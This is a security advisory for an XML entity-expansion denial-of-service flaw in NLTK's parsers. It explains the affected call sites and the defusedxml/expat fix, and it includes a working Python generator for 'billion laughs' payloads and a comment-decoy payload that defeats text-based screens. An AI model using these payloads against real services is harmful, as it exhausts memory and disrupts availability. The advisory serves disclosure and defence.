CVE-2026-78681

Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service. Affected call sites (<= 3.10.2): - `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML - `nltk.internals.ElementWrapper` — converts any given string to an Element - `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages` libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure. This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent. --- ## Attack demonstration Reproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative. ### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`) A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input: | levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - | The level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds. ```python import xml.etree.ElementTree as ET def bomb(levels): d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1)) return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars ``` ### 2. The patched entry point rejects it ``` >>> from nltk.internals import ElementWrapper >>> ElementWrapper(bomb(5)) EntitiesForbidden: EntitiesForbidden(name='e0', ...) ``` ### 3. Why a text-based screen is not enough An entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not: ```python evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' ``` ``` raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) nltk.xmlsec -> REJECTED (EntitiesForbidden) ``` An earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests. ### 4. Both back ends block it `nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback: ``` stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden) ``` Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.